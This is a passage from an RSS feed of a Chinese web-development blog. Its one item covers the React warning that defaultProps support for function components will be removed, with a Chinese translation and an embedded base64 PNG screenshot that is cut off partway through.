<?xml version="1.0" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>郑州网建 - Javascript</title><link>http://camnpr.com/</link><description>Good Good Study ,Day Day Up! - </description><generator>RainbowSoft Studio Z-Blog 1.8 Walle Build 100427</generator><language>zh-CN</language><copyright>豫ICP备10013645号 Copyright 2009-2022 camnpr.com</copyright><pubDate>Mon, 04 May 2026 05:38:55 +0800</pubDate><item><title>Warning: K: Support for defaultProps will be removed from function components in a future major release. Use JavaScript default parameters instead.</title><author>camnpr@163.com (camnpr)</author><link>http://camnpr.com/javascript/2300.html</link><pubDate>Fri, 26 Jan 2024 15:17:34 +0800</pubDate><guid>http://camnpr.com/javascript/2300.html</guid><description><![CDATA[<blockquote><p>&nbsp;Warning: K: Support for defaultProps will be removed from function components in a future major release. Use JavaScript default parameters instead.</p><p>警告：K:在未来的主要版本中，将从功能组件中删除对defaultProps的支持。请改用JavaScript默认参数。</p></blockquote><p><img src="data:image/png;base64,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